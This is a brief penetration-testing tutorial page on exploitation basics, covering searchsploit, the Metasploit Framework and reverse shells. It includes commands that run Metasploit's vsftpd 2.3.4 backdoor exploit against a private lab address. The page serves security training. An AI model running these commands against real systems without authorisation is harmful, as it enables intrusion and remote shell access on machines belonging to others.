Network & System Exploitation
Exploitation & Metasploit Basics
Turning a known vulnerability into a working shell.
Once enumeration gives you a service and version, exploitation abuses a specific weakness to gain code execution. Many known vulnerabilities have ready-made exploits.
- searchsploit — search the offline Exploit-DB for a service/version.
- Metasploit Framework — modular exploits + payloads (e.g. reverse shells).
- A reverse shell connects the victim back to your listener, giving you a command prompt on their box.
# Find exploits for a discovered service/version
searchsploit vsftpd 2.3.4
# Metasploit flow (conceptual)
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
exploit